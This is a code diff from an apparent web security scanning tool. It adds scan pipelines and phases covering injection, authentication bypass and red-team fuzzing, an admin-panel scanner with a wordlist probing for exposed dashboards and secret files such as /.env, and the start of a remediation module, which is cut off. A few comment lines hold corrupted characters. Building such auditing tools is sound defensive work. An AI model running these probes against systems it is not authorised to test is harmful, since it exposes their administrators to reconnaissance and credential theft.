+ from .command_injection_scanner import CommandInjectionScanner
60
+ from .crlf_scanner import CrlfScanner
61
+ from .cms_scanner import CmsScanner
62
+ from .file_upload_scanner import FileUploadScanner
63
+
64
+ # ── Batch 4: Medium Priority ──────────────────────────────────────────────
65
+ from .nosql_scanner import NosqlScanner
66
+ from .cache_poisoning_scanner import CachePoisoningScanner
67
+ from .oauth_scanner import OauthScanner
68
+ from .prototype_pollution_scanner import PrototypePollutionScanner
69
+ from .source_map_scanner import SourceMapScanner
70
+ from .swagger_scanner import SwaggerScanner
71
+ from .email_security_scanner import EmailSecurityScanner
72
+ from .xpath_scanner import XpathScanner
73
+
74
+ # ── Batch 5: Lower Priority ───────────────────────────────────────────────
75
+ from .broken_link_scanner import BrokenLinkScanner
76
+ from .sri_scanner import SriScanner
77
+ from .mfa_bypass_scanner import MfaBypassScanner
78
+ from .mass_assignment_scanner import MassAssignmentScanner
79
+ from .http_pollution_scanner import HttpPollutionScanner
80
+ from .dns_rebinding_scanner import DnsRebindingScanner
81
+ from .exif_scanner import ExifScanner
82
+ from .tls_weakness_scanner import TlsWeaknessScanner
83
+ from .cert_transparency_scanner import CertTransparencyScanner
84
+ from .redos_scanner import RedosScanner
85
+
86
+ # ─��� Batch 6: New Distinct Attack Vectors ─────────────────────────────────
87
+ from .dom_xss_scanner import DomXssScanner
88
+ from .saml_scanner import SamlScanner
89
+ from .web_cache_deception_scanner import WebCacheDeceptionScanner
90
+ from .http_method_tampering_scanner import HttpMethodTamperingScanner
91
+ from .bypass_403_scanner import Bypass403Scanner
92
+ from .ldap_scanner import LdapScanner
93
+ from .blind_xss_scanner import BlindXssScanner
94
+ from .admin_panel_scanner import AdminPanelScanner
95
+
96
+ # ── Batch 7: Client-Side & Logic Gaps ────────────────────────────────────
97
+ from .csti_scanner import CstiScanner
98
+ from .postmessage_scanner import PostmessageScanner
99
+ from .password_reset_scanner import PasswordResetScanner
100
+ from .cache_control_scanner import CacheControlScanner
101
+ from .second_order_scanner import SecondOrderScanner
102
+ from .webrtc_leak_scanner import WebrtcLeakScanner
103
+ from .service_worker_scanner import ServiceWorkerScanner
104
+
105
+ # ── Batch 8: Advanced Attack Techniques ──────────────────────────────────
106
+ from .http2_desync_scanner import Http2DesyncScanner
107
+ from .js_supply_chain_scanner import JsSupplyChainScanner
108
+ from .api_security_scanner import ApiSecurityScanner
109
+
110
+ # ---------------------------------------------------------------------------
111
+ # Pipeline definitions — order matters, runs top-to-bottom
112
+ # AiRemediationScanner always runs LAST (post-processor)
113
+ # ---------------------------------------------------------------------------
114
+ PIPELINES = {
115
+ # ── Quick: fast, non-intrusive checks (~2 min) ─────────────────────────
116
+ "Quick": [
117
+ ("headers", HeadersScanner, {}),
118
+ ("nmap", NmapScanner, {"mode": "quick"}),
119
+ ("sslyze", SslyzeScanner, {}),
120
+ ("tech", TechScanner, {}),
121
+ ("whois", WhoisScanner, {}),
122
+ ("waf", WafScanner, {}),
123
+ ("dns_security", DNSSecurityScanner, {}),
124
+ ("cookies", CookieScanner, {}),
125
+ ("csp", CspScanner, {}),
126
+ ("clickjacking", ClickjackingScanner, {}),
127
+ ("git_exposure", GitExposureScanner, {}),
128
+ ("compliance", ComplianceScanner, {}),
129
+ ("ai_remediation",AiRemediationScanner,{}),
130
+ ],
131
+
132
+ # ── Advanced: core vulnerability audit (~10-20 min) ────────────────────────
133
+ "Advanced": [
134
+ ("headers", HeadersScanner, {}),
135
+ ("nmap", NmapScanner, {"mode": "standard"}),
136
+ ("sslyze", SslyzeScanner, {}),
137
+ ("tech", TechScanner, {}),
138
+ ("whois", WhoisScanner, {}),
139
+ ("waf", WafScanner, {}),
140
+ ("dns_security", DNSSecurityScanner, {}),
141
+ ("cookies", CookieScanner, {}),
142
+ ("csp", CspScanner, {}),
143
+ ("clickjacking", ClickjackingScanner, {}),
144
+ ("git_exposure", GitExposureScanner, {}),
145
+ ("compliance", ComplianceScanner, {}),
146
+ ("whatweb", WhatWebScanner, {}),
147
+ ("cors", CorsScanner, {}),
148
+ ("robots", RobotsScanner, {}),
149
+ ("auth", AuthScanner, {}),
150
+ ("session", SessionScanner, {}),
151
+ ("dependency", DependencyScanner, {}),
152
+ ("fuzzer", FuzzerScanner, {}),
153
+ ("path_traversal", PathTraversalScanner, {}),
154
+ ("lfi", LfiScanner, {}),
155
+ ("nikto", NiktoScanner, {}),
156
+ ("sql_injection", SqlInjectionScanner, {}),
157
+ ("subdom", SubdomainScanner, {}),
158
+ ("custom_website", CustomWebsiteScanner, {}),
159
+ ("attack_surface", AttackSurfaceScanner, {}),
160
+ ("api", ApiScanner, {}),
161
+ ("cloud", CloudScanner, {}),
162
+ ("secrets", SecretsScanner, {}),
163
+ ("cve", CveScanner, {}),
164
+ ("ssrf", SsrfScanner, {}),
165
+ ("jwt", JwtScanner, {}),
166
+ ("csrf", CsrfScanner, {}),
167
+ ("open_redirect", OpenRedirectScanner, {}),
168
+ ("rate_limiting", RateLimitingScanner, {}),
169
+ ("ai_remediation", AiRemediationScanner, {}),
170
+ ],
171
+
172
+ # ── Deep: exhaustive + ZAP active (~2 h) ────────────────��─────────────
173
+ "Deep": [
174
+ ("headers", HeadersScanner, {}),
175
+ ("nmap", NmapScanner, {"mode": "deep"}),
176
+ ("sslyze", SslyzeScanner, {}),
177
+ ("tech", TechScanner, {}),
178
+ ("whatweb", WhatWebScanner, {}),
179
+ ("whois", WhoisScanner, {}),
180
+ ("dns_security", DNSSecurityScanner, {}),
181
+ ("cookies", CookieScanner, {}),
182
+ ("csp", CspScanner, {}),
183
+ ("clickjacking", ClickjackingScanner, {}),
184
+ ("cors", CorsScanner, {}),
185
+ ("robots", RobotsScanner, {}),
186
+ ("directory", DirectoryScanner, {}),
187
+ ("waf", WafScanner, {}),
188
+ ("auth", AuthScanner, {}),
189
+ ("session", SessionScanner, {}),
190
+ ("git_exposure", GitExposureScanner, {}),
191
+ ("dependency", DependencyScanner, {}),
192
+ ("fuzzer", FuzzerScanner, {"red_team": True}),
193
+ ("path_traversal", PathTraversalScanner, {}),
194
+ ("lfi", LfiScanner, {}),
195
+ ("nikto", NiktoScanner, {}),
196
+ ("subdom", SubdomainScanner, {}),
197
+ ("custom_website", CustomWebsiteScanner, {}),
198
+ ("attack_surface", AttackSurfaceScanner, {}),
199
+ ("api", ApiScanner, {}),
200
+ ("cloud", CloudScanner, {}),
201
+ ("secrets", SecretsScanner, {}),
202
+ ("cve", CveScanner, {}),
203
+ ("xxe", XxeScanner, {}),
204
+ ("ssrf", SsrfScanner, {}),
205
+ ("jwt", JwtScanner, {}),
206
+ ("ssti", SstiScanner, {}),
207
+ ("csrf", CsrfScanner, {}),
208
+ ("open_redirect", OpenRedirectScanner, {}),
209
+ ("idor", IdorScanner, {}),
210
+ ("graphql", GraphqlScanner, {}),
211
+ ("race_condition", RaceConditionScanner, {}),
212
+ ("request_smuggling", RequestSmugglingScanner,{}),
213
+ ("business_logic", BusinessLogicScanner, {}),
214
+ ("websocket", WebsocketScanner, {}),
215
+ ("rate_limiting", RateLimitingScanner, {}),
216
+ ("subdomain_takeover",SubdomainTakeoverScanner,{}),
217
+ ("host_header", HostHeaderScanner, {}),
218
+ ("deserialization", DeserializationScanner,{}),
219
+ ("command_injection", CommandInjectionScanner,{}),
220
+ ("sql_injection", SqlInjectionScanner, {}),
221
+ ("crlf", CrlfScanner, {}),
222
+ ("cms", CmsScanner, {}),
223
+ ("file_upload", FileUploadScanner, {}),
224
+ ("nosql", NosqlScanner, {}),
225
+ ("cache_poisoning", CachePoisoningScanner, {}),
226
+ ("oauth", OauthScanner, {}),
227
+ ("prototype_pollution",PrototypePollutionScanner,{}),
228
+ ("source_map", SourceMapScanner, {}),
229
+ ("swagger", SwaggerScanner, {}),
230
+ ("email_security", EmailSecurityScanner, {}),
231
+ ("xpath", XpathScanner, {}),
232
+ ("broken_link", BrokenLinkScanner, {}),
233
+ ("sri", SriScanner, {}),
234
+ ("mfa_bypass", MfaBypassScanner, {}),
235
+ ("mass_assignment", MassAssignmentScanner, {}),
236
+ ("http_pollution", HttpPollutionScanner, {}),
237
+ ("dns_rebinding", DnsRebindingScanner, {}),
238
+ ("exif", ExifScanner, {}),
239
+ ("tls_weakness", TlsWeaknessScanner, {}),
240
+ ("cert_transparency", CertTransparencyScanner,{}),
241
+ ("redos", RedosScanner, {}),
242
+ ("dom_xss", DomXssScanner, {}),
243
+ ("saml", SamlScanner, {}),
244
+ ("cache_deception", WebCacheDeceptionScanner,{}),
245
+ ("http_methods", HttpMethodTamperingScanner,{}),
246
+ ("bypass_403", Bypass403Scanner, {}),
247
+ ("ldap", LdapScanner, {}),
248
+ ("blind_xss", BlindXssScanner, {}),
249
+ ("admin_panel", AdminPanelScanner, {}),
250
+ ("csti", CstiScanner, {}),
251
+ ("postmessage", PostmessageScanner, {}),
252
+ ("password_reset", PasswordResetScanner, {}),
253
+ ("cache_control", CacheControlScanner, {}),
254
+ ("second_order", SecondOrderScanner, {}),
255
+ ("webrtc", WebrtcLeakScanner, {}),
256
+ ("service_worker", ServiceWorkerScanner, {}),
257
+ ("compliance", ComplianceScanner, {}),
258
+ ("nuclei", NucleiScanner, {"severity": "critical,high,medium,low"}),
259
+ ("zap", ZapScanner, {"mode": "active"}),
260
+ # ── Advanced Techniques ────────────────────────────────
261
+ ("h2_desync", Http2DesyncScanner, {}),
262
+ ("js_supply_chain", JsSupplyChainScanner, {}),
263
+ ("api_security", ApiSecurityScanner, {}),
264
+ ("ai_remediation", AiRemediationScanner, {}), # LAST
265
+ ],
266
+
267
+ # Legacy aliases
268
+ "Standard": None,
269
+ "Full": None,
270
+ "SSL": None,
271
+ "OWASP": None,
272
+ "Port": None,
273
+ }
274
+
275
+ # Resolve aliases
276
+ PIPELINES["Standard"] = PIPELINES["Advanced"]
277
+ PIPELINES["Full"] = PIPELINES["Advanced"]
278
+ PIPELINES["OWASP"] = PIPELINES["Advanced"]
279
+ PIPELINES["Port"] = [("nmap", NmapScanner, {"mode": "standard"})]
280
+ PIPELINES["SSL"] = [
281
+ ("sslyze", SslyzeScanner, {}),
282
+ ("headers", HeadersScanner, {}),
283
+ ("csp", CspScanner, {}),
284
+ ("clickjacking",ClickjackingScanner, {}),
285
+ ]
286
+
287
+
288
+ CRAWLER_SCANNERS = frozenset({
289
+ "fuzzer", "path_traversal", "lfi", "ssti",
290
+ "open_redirect", "csrf", "attack_surface",
291
+ "sql_injection",
292
+ })
293
+
294
+ SCAN_TYPE_DEFAULT_DEPTH = {
295
+ "Quick": 3,
296
+ "Advanced": 10,
297
+ "Deep": 20,
298
+ "Standard": 10,
299
+ }
300
+
301
+
302
+ # ---------------------------------------------------------------------------
303
+ # Phase definitions — controls execution order within each scan type.
304
+ # Each phase runs its modules CONCURRENTLY, phases run SEQUENTIALLY.
305
+ # AI remediation is always last; heavy tools (ZAP/Nuclei) are second-to-last.
306
+ # ---------------------------------------------------------------------------
307
+ SCAN_PHASES = {
308
+ # ── Quick (2 phases, ~2 min total) ─────────────────────────────────────
309
+ "Quick": [
310
+ {
311
+ "name": "Phase 1: Recon & Headers",
312
+ "keys": {"headers", "nmap", "sslyze", "tech", "whois", "waf",
313
+ "dns_security", "git_exposure"},
314
+ },
315
+ {
316
+ "name": "Phase 2: Config & Policy",
317
+ "keys": {"cookies", "csp", "clickjacking", "compliance", "ai_remediation"},
318
+ },
319
+ ],
320
+
321
+ # ── Advanced (4 phases, ~10-20 min total) ───────────────────────────────
322
+ "Advanced": [
323
+ {
324
+ "name": "Phase 1: Recon & Fingerprinting",
325
+ "keys": {"headers", "nmap", "sslyze", "tech", "whatweb", "whois",
326
+ "waf", "dns_security", "git_exposure", "cloud", "cve",
327
+ "robots", "cors"},
328
+ },
329
+ {
330
+ "name": "Phase 2: Auth & Session",
331
+ "keys": {"auth", "session", "cookies", "csp", "clickjacking",
332
+ "compliance", "dependency", "jwt", "csrf"},
333
+ },
334
+ {
335
+ "name": "Phase 3: Injection & Crawl",
336
+ "keys": {"sql_injection", "ssrf", "fuzzer", "path_traversal",
337
+ "lfi", "nikto", "open_redirect", "subdom",
338
+ "custom_website", "attack_surface", "api",
339
+ "secrets", "rate_limiting"},
340
+ },
341
+ {
342
+ "name": "Phase 4: AI Analysis",
343
+ "keys": {"ai_remediation"},
344
+ },
345
+ ],
346
+
347
+ # ── Deep (8 phases, ~2h total) ─────────────────────────────────────────
348
+ "Deep": [
349
+ {
350
+ "name": "Phase 1: Recon & Fingerprinting",
351
+ "keys": {"headers", "nmap", "sslyze", "tech", "whatweb", "whois",
352
+ "dns_security", "waf", "cloud", "cve", "cert_transparency",
353
+ "robots", "tls_weakness", "exif", "source_map",
354
+ "email_security", "sri"},
355
+ },
356
+ {
357
+ "name": "Phase 2: Auth, Session & Config",
358
+ "keys": {"auth", "session", "cookies", "csp", "clickjacking",
359
+ "git_exposure", "dependency", "compliance", "cors",
360
+ "jwt", "oauth", "saml", "mfa_bypass", "password_reset"},
361
+ },
362
+ {
363
+ "name": "Phase 3: Injection Attacks",
364
+ "keys": {"sql_injection", "xxe", "ssrf", "ssti", "command_injection",
365
+ "nosql", "xpath", "ldap", "crlf", "lfi",
366
+ "path_traversal", "deserialization", "redos"},
367
+ },
368
+ {
369
+ "name": "Phase 4: Crawl, Directory & Discovery",
370
+ "keys": {"fuzzer", "directory", "subdom", "subdomain_takeover",
371
+ "attack_surface", "custom_website", "api", "swagger",
372
+ "nikto", "broken_link", "admin_panel", "cms",
373
+ "graphql", "api_security"},
374
+ },
375
+ {
376
+ "name": "Phase 5: Logic, Access Control & Rate",
377
+ "keys": {"idor", "csrf", "open_redirect", "business_logic",
378
+ "race_condition", "rate_limiting", "mass_assignment",
379
+ "bypass_403", "request_smuggling", "websocket",
380
+ "file_upload", "second_order"},
381
+ },
382
+ {
383
+ "name": "Phase 6: Client-Side & Protocol",
384
+ "keys": {"host_header", "http_methods", "http_pollution",
385
+ "cache_poisoning", "cache_deception", "cache_control",
386
+ "dom_xss", "blind_xss", "csti", "postmessage",
387
+ "prototype_pollution", "dns_rebinding", "h2_desync",
388
+ "js_supply_chain", "service_worker", "webrtc",
389
+ "secrets"},
390
+ },
391
+ {
392
+ "name": "Phase 7: Heavy Scanners (ZAP & Nuclei)",
393
+ "keys": {"nuclei", "zap"},
394
+ },
395
+ {
396
+ "name": "Phase 8: AI Analysis",
397
+ "keys": {"ai_remediation"},
398
+ },
399
+ ],
400
+ }
401
+
402
+ # Resolve aliases for phases
403
+ SCAN_PHASES["Standard"] = SCAN_PHASES["Advanced"]
404
+ SCAN_PHASES["Full"] = SCAN_PHASES["Advanced"]
405
+ SCAN_PHASES["OWASP"] = SCAN_PHASES["Advanced"]
406
+ SCAN_PHASES["SSL"] = [
407
+ {"name": "Phase 1: SSL/TLS Checks",
408
+ "keys": {"sslyze", "headers", "csp", "clickjacking"}},
409
+ ]
410
+ SCAN_PHASES["Port"] = [
411
+ {"name": "Phase 1: Port Scan",
412
+ "keys": {"nmap"}},
413
+ ]
414
+
415
+
416
+ def get_phases(scan_type: str) -> list:
417
+ """Return the ordered phase list for the given scan type."""
418
+ return SCAN_PHASES.get(scan_type, SCAN_PHASES["Advanced"])
419
+
420
+
421
+ def get_pipeline(scan_type: str) -> list:
422
+ """Return the scanner pipeline for the given scan_type string."""
423
+ return PIPELINES.get(scan_type, PIPELINES["Advanced"])
424
+
425
+
426
+ def apply_scan_options(pipeline: list, scan_type: str, scan_options: dict | None) -> list:
427
+ """Merge user scan options (crawl depth, exclusions, red-team) into pipeline kwargs."""
428
+ options = scan_options or {}
429
+ crawl_depth = options.get("crawl_depth")
430
+ if crawl_depth is None:
431
+ crawl_depth = SCAN_TYPE_DEFAULT_DEPTH.get(scan_type, 10)
432
+ else:
433
+ crawl_depth = max(1, min(int(crawl_depth), 20))
434
+
435
+ exclude_paths = options.get("exclude_paths") or []
436
+ enable_red_team = options.get("enable_red_team", False)
437
+
438
+ updated = []
439
+ for name, cls, kwargs in pipeline:
440
+ merged = dict(kwargs)
441
+ if name in CRAWLER_SCANNERS:
442
+ merged["max_depth"] = crawl_depth
443
+ merged["exclude_paths"] = exclude_paths
444
+ if name == "fuzzer" and (enable_red_team or merged.get("red_team")):
445
+ merged["red_team"] = True
446
+ updated.append((name, cls, merged))
447
+ return updated
448
+
449
+
450
+ def build_scanner(name, cls, kwargs, scan_id, target, domain, auth_headers=None):
451
+ """Instantiate a scanner with the correct kwargs."""
452
+ return cls(scan_id=scan_id, target=target, domain=domain,
453
+ auth_headers=auth_headers, **kwargs)
backend/scanners/admin_panel_scanner.py ADDED
@@ -0,0 +1,195 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """
2
+ admin_panel_scanner.py — Admin Panel & Exposed Dashboard Scanner
3
+ ================================================================
4
+ PHASE 1: Baseline filtering added — only reports panels that are NOT the
5
+ site's generic SPA catch-all response.
6
+ PHASE 2: Content-signature validation for product-specific panels.
7
+
8
+ Probes a targeted wordlist of admin, monitoring, and developer dashboards
9
+ that are often left exposed. More targeted than the generic directory scanner.
10
+ """
11
+ import urllib.request, urllib.error
12
+ from scanners.base_scanner import BaseScanner
13
+ from scanners.core.signatures import matches_signature
14
+
15
+ ADMIN_PATHS = [
16
+ # Generic admin panels
17
+ "/admin", "/admin/", "/admin/login", "/admin/dashboard",
18
+ "/_admin", "/administrator", "/admincp", "/admin1", "/admin2",
19
+ "/backend", "/backend/login", "/manage", "/management",
20
+ "/control", "/controlpanel", "/cp", "/cpanel",
21
+ # PHP tooling
22
+ "/phpmyadmin", "/pma", "/phpMyAdmin", "/phpmyadmin/", "/mysql",
23
+ "/adminer", "/adminer.php", "/db", "/database",
24
+ # Python/Django
25
+ "/django-admin", "/django/admin", "/_admin/",
26
+ # Java / Spring / JEE
27
+ "/manager", "/manager/html", "/host-manager", "/console",
28
+ "/actuator", "/actuator/health", "/actuator/env",
29
+ "/actuator/beans", "/actuator/mappings", "/actuator/info",
30
+ "/jolokia", "/jolokia/list", "/druid", "/druid/login.html",
31
+ # CI/CD & DevOps
32
+ "/jenkins", "/jenkins/", "/jenkins/login",
33
+ "/gitlab", "/gitlab/users/sign_in",
34
+ "/sonarqube", "/sonar",
35
+ # Monitoring / Observability
36
+ "/grafana", "/grafana/login",
37
+ "/kibana", "/kibana/app/kibana",
38
+ "/prometheus", "/metrics", "/_prometheus/metrics",
39
+ "/jaeger", "/zipkin",
40
+ # Messaging & Queues
41
+ "/rabbitmq", "/rabbitmq-management",
42
+ "/activemq", "/activemq/admin",
43
+ "/kafka", "/kafka-ui",
44
+ # Container / Cloud
45
+ "/portainer", "/rancher", "/kubernetes",
46
+ "/_cluster/health", "/_cat/nodes", # Elasticsearch
47
+ # CMS / CRM
48
+ "/wp-admin", "/wp-login.php",
49
+ "/typo3", "/typo3/backend",
50
+ "/joomla/administrator", "/index.php?option=com_admin",
51
+ # Misc
52
+ "/setup", "/setup.php", "/install", "/install.php",
53
+ "/config", "/config.php", "/.env", "/server-status",
54
+ "/server-info", "/status", "/info.php", "/phpinfo.php",
55
+ ]
56
+
57
+ ADMIN_KEYWORDS = [
58
+ "login", "dashboard", "admin", "username", "password",
59
+ "sign in", "control panel", "management", "welcome back",
60
+ "<form", "Log In", "Sign In",
61
+ ]
62
+
63
+ # Map paths → signature keys for product-specific validation
64
+ _PATH_SIG_MAP: dict[str, str] = {
65
+ "/jenkins": "jenkins",
66
+ "/jenkins/": "jenkins",
67
+ "/jenkins/login": "jenkins",
68
+ "/grafana": "grafana",
69
+ "/grafana/login": "grafana",
70
+ "/kibana": "kibana",
71
+ "/kibana/app/kibana": "kibana",
72
+ "/prometheus": "prometheus",
73
+ "/phpmyadmin": "phpmyadmin",
74
+ "/pma": "phpmyadmin",
75
+ "/phpMyAdmin": "phpmyadmin",
76
+ "/phpmyadmin/": "phpmyadmin",
77
+ "/adminer": "adminer",
78
+ "/adminer.php": "adminer",
79
+ "/phpinfo.php": "phpinfo",
80
+ "/info.php": "phpinfo",
81
+ "/wp-login.php": "wp_login",
82
+ "/wp-admin": "wp_login",
83
+ "/_cluster/health": "elasticsearch",
84
+ "/actuator": "spring_actuator",
85
+ "/actuator/health": "spring_actuator",
86
+ "/actuator/env": "spring_actuator_env",
87
+ "/portainer": "portainer",
88
+ }
89
+
90
+
91
+ class AdminPanelScanner(BaseScanner):
92
+ SCANNER_NAME = "Admin Panel & Dashboard Scanner"
93
+ _SCANNER_KEY = "admin_panel"
94
+
95
+ def __init__(self, scan_id, target, domain, **kwargs):
96
+ super().__init__(scan_id, target, domain, **kwargs)
97
+
98
+ def run(self) -> list:
99
+ self.log("INFO", f"[AdminPanel] Probing {len(ADMIN_PATHS)} admin/dashboard paths on {self.target}...")
100
+ base = self.target.rstrip("/")
101
+ found = []
102
+
103
+ for path in ADMIN_PATHS:
104
+ url = base + path
105
+ status, body = self._probe(url)
106
+
107
+ if status == 200 and body is not None:
108
+ # PHASE 1: Suppress if response is the site's SPA/404 catch-all
109
+ if self._is_baseline(status, body):
110
+ self.log("INFO", f"[AdminPanel] SUPPRESSED (baseline match, {len(body)}b): {url}")
111
+ continue
112
+
113
+ # Minimum content threshold — avoid near-empty redirect bodies
114
+ if len(body) < 200:
115
+ self.log("INFO", f"[AdminPanel] SKIPPED (body too small, {len(body)}b): {url}")
116
+ continue
117
+
118
+ # PHASE 2: Product-specific signature check
119
+ sig_key = _PATH_SIG_MAP.get(path)
120
+ if sig_key:
121
+ if not matches_signature(sig_key, body, log_fn=lambda m: self.log("INFO", m), url=url):
122
+ continue
123
+ else:
124
+ # Generic admin check: must contain admin keywords AND a form element
125
+ body_lower = body.lower()
126
+ has_keyword = any(kw.lower() in body_lower for kw in ADMIN_KEYWORDS)
127
+ has_form = "<form" in body_lower
128
+ if not (has_keyword and has_form):
129
+ self.log("INFO", f"[AdminPanel] SKIPPED (no keyword+form match): {url}")
130
+ continue
131
+
132
+ found.append((path, status, len(body)))
133
+ self.log("WARNING", f"[AdminPanel] FOUND: {url} ({status}, {len(body)}b)")
134
+
135
+ elif status in (401, 403):
136
+ # Access denied — still confirms presence of a panel
137
+ found.append((path, status, 0))
138
+ self.log("INFO", f"[AdminPanel] Protected (HTTP {status}): {url}")
139
+
140
+ if found:
141
+ public = [(p, s, b) for p, s, b in found if s == 200]
142
+ protected = [(p, s, b) for p, s, b in found if s in (401, 403)]
143
+
144
+ if public:
145
+ self.add_vuln(
146
+ title=f"Unauthenticated Admin Panels Found ({len(public)})",
147
+ severity="Critical",
148
+ category="Exposed Admin Panel",
149
+ cvss_score=9.8,
150
+ confidence="Confirmed",
151
+ description=(
152
+ f"The following admin/dashboard endpoints are publicly accessible (HTTP 200) "
153
+ f"without authentication:\n\n" +
154
+ "\n".join(f"- `{base + p}` ({b} bytes)" for p, s, b in public[:10])
155
+ ),
156
+ remediation=(
157
+ "1. Immediately restrict admin panels to internal IPs / VPN only.\n"
158
+ "2. Require MFA on all administrative interfaces.\n"
159
+ "3. Remove development tools (phpMyAdmin, Adminer) from production.\n"
160
+ "4. Disable Spring Actuator endpoints: management.endpoints.enabled-by-default=false"
161
+ ),
162
+ evidence=f"{len(public)} unauthenticated admin path(s) found, verified against site baseline.",
163
+ )
164
+ if protected:
165
+ self.add_vuln(
166
+ title=f"Admin Panels Discovered But Access-Controlled ({len(protected)})",
167
+ severity="Medium",
168
+ category="Exposed Admin Panel",
169
+ cvss_score=5.3,
170
+ confidence="Likely",
171
+ description=(
172
+ f"Admin panels exist but return 401/403:\n\n" +
173
+ "\n".join(f"- `{base + p}` (HTTP {s})" for p, s, b in protected[:10]) +
174
+ "\n\nWhile protected, their existence aids attacker reconnaissance "
175
+ "and they remain vulnerable to credential stuffing."
176
+ ),
177
+ remediation=(
178
+ "Restrict admin paths to internal networks. Return 404 (not 403) "
179
+ "for admin paths when accessed externally to reduce information disclosure."
180
+ ),
181
+ )
182
+ else:
183
+ self.log("SUCCESS", "[AdminPanel] No admin panels or dashboards found.")
184
+ return self.vulns
185
+
186
+ def _probe(self, url):
187
+ try:
188
+ req = urllib.request.Request(url, headers=self._make_headers())
189
+ with urllib.request.urlopen(req, timeout=4, context=self.get_ssl_context()) as r:
190
+ return r.status, r.read().decode("utf-8", errors="ignore")
191
+ except urllib.error.HTTPError as e:
192
+ return e.code, ""
193
+ except Exception as e:
194
+ self.log("ERROR", f"[AdminPanel] _probe error: {e}")
195
+ return 0, ""
backend/scanners/ai_remediation_scanner.py ADDED
@@ -0,0 +1,401 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """
2
+ ai_remediation_scanner.py — AI-Powered Remediation Generator
3
+ =============================================================
4
+ Post-processes all accumulated scan findings and generates:
5
+ 1. Prioritized remediation plan (by CVSS score + exploitability)
6
+ 2. Contextual, stack-aware fix guidance (detects PHP/Node/Python/Java)
7
+ 3. Estimated fix effort (hours) per vulnerability
8
+ 4. Executive risk summary
9
+ 5. Code snippet examples for common fixes
10
+
11
+ This scanner should run LAST in the pipeline (it reads other scanners' findings
12
+ from the shared in-memory log). In pipeline runs it reads from BaseScanner.all_vulns
13
+ injected via the orchestrator. In standalone mode it reads the JSON report.
14
+
15
+ Optionally uses OpenAI API if OPENAI_API_KEY is set in environment.
16
+ """
17
+ import os, re, json, urllib.request
18
+ from scanners.base_scanner import BaseScanner, active_scan_logs
19
+
20
+ # ── Remediation knowledge base ─────────────────────────────────────────────
21
+ # Maps vuln title keywords -> {effort_hours, stack_hints, code_example}
22
+ KNOWLEDGE_BASE = {
23
+ "missing security header": {
24
+ "effort": 0.5,
25
+ "tags": ["headers", "quick-win"],
26
+ "code": {
27
+ "nginx": 'add_header {HEADER} "{VALUE}" always;',
28
+ "apache": 'Header always set {HEADER} "{VALUE}"',
29
+ "express": 'app.use(helmet()); // npm install helmet',
30
+ "django": 'SECURE_BROWSER_XSS_FILTER = True # settings.py',
31
+ "laravel": '// Use spatie/laravel-csp package',
32
+ },
33
+ },
34
+ "content security policy": {
35
+ "effort": 4,
36
+ "tags": ["csp", "medium-effort"],
37
+ "code": {
38
+ "nginx": "add_header Content-Security-Policy \"default-src 'self'; script-src 'self' 'nonce-{RANDOM}'\" always;",
39
+ "express": "app.use(helmet.contentSecurityPolicy({directives:{defaultSrc:[\"'self'\"]}}));",
40
+ },
41
+ },
42
+ "sql injection": {
43
+ "effort": 8,
44
+ "tags": ["injection", "critical", "high-effort"],
45
+ "code": {
46
+ "python": "cursor.execute('SELECT * FROM users WHERE id = %s', (user_id,))",
47
+ "php": "$stmt = $pdo->prepare('SELECT * FROM users WHERE id = ?'); $stmt->execute([$id]);",
48
+ "node": "db.query('SELECT * FROM users WHERE id = $1', [userId])",
49
+ "java": "PreparedStatement ps = conn.prepareStatement(\"SELECT * FROM users WHERE id = ?\"); ps.setInt(1, id);",
50
+ },
51
+ },
52
+ "xss": {
53
+ "effort": 6,
54
+ "tags": ["injection", "high-effort"],
55
+ "code": {
56
+ "python": "from markupsafe import escape; safe = escape(user_input)",
57
+ "php": "echo htmlspecialchars($input, ENT_QUOTES, 'UTF-8');",
58
+ "node": "const he = require('he'); safe = he.encode(userInput);",
59
+ "react": "// React auto-escapes by default. Never use dangerouslySetInnerHTML.",
60
+ },
61
+ },
62
+ "csrf": {
63
+ "effort": 4,
64
+ "tags": ["csrf", "medium-effort"],
65
+ "code": {
66
+ "django": "{% csrf_token %} <!-- in template; middleware enabled by default -->",
67
